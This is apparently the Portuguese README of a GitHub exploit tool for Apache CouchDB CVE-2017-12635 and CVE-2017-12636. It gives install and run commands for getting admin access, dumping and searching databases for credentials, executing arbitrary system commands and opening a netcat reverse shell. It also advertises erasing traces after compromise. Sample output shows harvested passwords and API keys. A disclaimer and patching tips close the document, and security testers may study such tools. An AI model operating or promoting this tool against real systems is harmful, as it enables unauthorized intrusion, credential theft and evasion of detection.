🚀 CouchDB Exploit - CVE-2017-12635 & CVE-2017-12636

---

📖 Visão Geral

Esta ferramenta explora duas vulnerabilidades críticas no Apache CouchDB:

CVE	Descrição	Gravidade
CVE-2017-12635	Escalação de Privilégios via Bypass de Análise JSON	🔴 Crítica
CVE-2017-12636	Execução Remota de Código via Query Server	🔴 Crítica

Como funciona

1. CVE-2017-12635: Explora a análise JSON inconsistente entre os parsers Erlang e JavaScript para criar um usuário administrador
2. CVE-2017-12636: Usa o acesso de administrador para configurar um Query Server malicioso e executar comandos do sistema

---

🎯 Versões Vulneráveis

Versão	Vulnerável	Versão Corrigida
Apache CouchDB < 1.7.0	✅ Sim	1.7.0
Apache CouchDB 1.x.x	✅ Sim	1.7.0
Apache CouchDB 2.0.0	✅ Sim	2.1.1
Apache CouchDB 2.1.0	✅ Sim	2.1.1
Apache CouchDB ≥ 2.1.1	❌ Não	-

Verificação Rápida

curl http://target:5984/

Se a versão for 1.x.x ou 2.0.x/2.1.0 → VULNERÁVEL

✨ Recursos

✅ Exploração Automática - Um comando para dominar tudo

✅ Shell Interativo - Interface de comandos amigável

✅ Visualizador de Banco de Dados - Navegue por todos os bancos de dados e documentos

✅ Exibição Completa de JSON - Veja o conteúdo completo dos documentos

✅ Busca Global - Pesquise por palavras-chave em todos os bancos de dados

✅ Comandos de Sistema - Execute comandos arbitrários no alvo

✅ Reverse Shell - Obtenha um shell interativo completo

✅ Histórico de Comandos - Acompanhe suas ações

✅ Limpeza Automática - Remova rastros após a exploração

✅ Saída Colorida - Fácil de ler e entender

📦 Instalação Pré-requisitos bash

Python 3.6+ necessário

python3 --version

Clonar e Instalar bash

Clone o repositório

git clone https://github.com/darabium/couchdb-exploit.git

cd couchdb-exploit

Instalar dependências

python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt

Requisitos txt

requests>=2.25.0 urllib3>=1.26.0

🚀 Uso Uso básico bash

Exploit simples

python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>

Exemplo

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

Opções de linha de comando bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IP address or hostname
  -p PORT, --port PORT  Target port (default: 5984)

💻 Comandos

Após a exploração, você terá um shell interativo: Comando Descrição Exemplo db Mostra todos os bancos de dados com contagem de documentos db view Visualiza TODOS os documentos de um banco de dados (JSON completo) view passwords raw Mostra a resposta bruta do servidor raw admin count Conta os documentos de um banco de dados count users search Pesquisa uma palavra-chave em TODOS os bancos de dados search admin exec Executa um comando do sistema exec whoami reverse Configura um reverse shell reverse 10.0.0.1 4444 history Mostra o histórico de comandos history help Mostra este menu help exit Sai com limpeza exit 📊 Exemplos

1. Listar Todos os Bancos de Dados bash

couchdb> db

[+] 39 databases:

1. _replicator (0 docs)

2. _users (12 docs)

3. admin (5 docs)

4. passwords (25 docs)

5. core-configuration (8 docs) ...

6. Visualizar o Conteúdo de um Banco de Dados bash

couchdb> view passwords

[+] Viewing database: passwords

[*] Total documents: 25

📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "[email protected]", "role": "superadmin" }

3. Pesquisar Credenciais bash

couchdb> search password

[+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

4. Executar Comandos do Sistema bash

couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

5. Reverse Shell bash

On your machine (listener)

nc -lvnp 4444

No exploit

couchdb> reverse 10.0.0.1 4444 [+] Configurando shell reverso para 10.0.0.1:4444 [!] Certifique-se de que o listener está em execução: nc -lvnp 4444 [?] Continuar? (s/n): s [+] Shell reverso acionado!

Você deve obter um shell no seu listener!

🖼️ Capturas de tela Exploit em ação

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Visualização do banco de dados

https://via.placeholder.com/800x400?text=Database+View Shell reverso

https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Aviso legal

IMPORTANTE: Esta ferramenta é apenas para fins educacionais e de testes autorizados.

    🚫 NÃO use em sistemas sem permissão explícita

    🚫 O autor não se responsabiliza por qualquer uso indevido

    🚫 Use apenas em ambientes controlados ou em seus próprios sistemas

    ✅ Sempre obtenha autorização por escrito antes de testar

    ✅ Siga práticas de divulgação responsável

Ao usar esta ferramenta, você concorda com estes termos. 🔐 Dicas de segurança

Se você é um administrador de sistemas:

Atualize imediatamente para CouchDB ≥ 1.7.0 ou ≥ 2.1.1

Use firewall para restringir o acesso à porta 5984

Ative a autenticação e use senhas fortes

Monitore os logs em busca de atividades suspeitas

Faça auditorias de segurança regulares da sua infraestrutura

Correção rápida bash

Atualizar o CouchDB

sudo apt-get update sudo apt-get install couchdb=2.1.1 # Ou a versão mais recente

Restringir acesso

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 Referências

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

Segurança do Apache CouchDB

Exploit-DB

👤 Autor

darabium

GitHub: @darabium

Telegram: @darabium

⭐ Apoio

Se você achar isto útil:

⭐ Dê uma estrela no repositório

🐛 Reporte problemas

🔧 Contribua com melhorias

📢 Compartilhe com outros

📄 Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.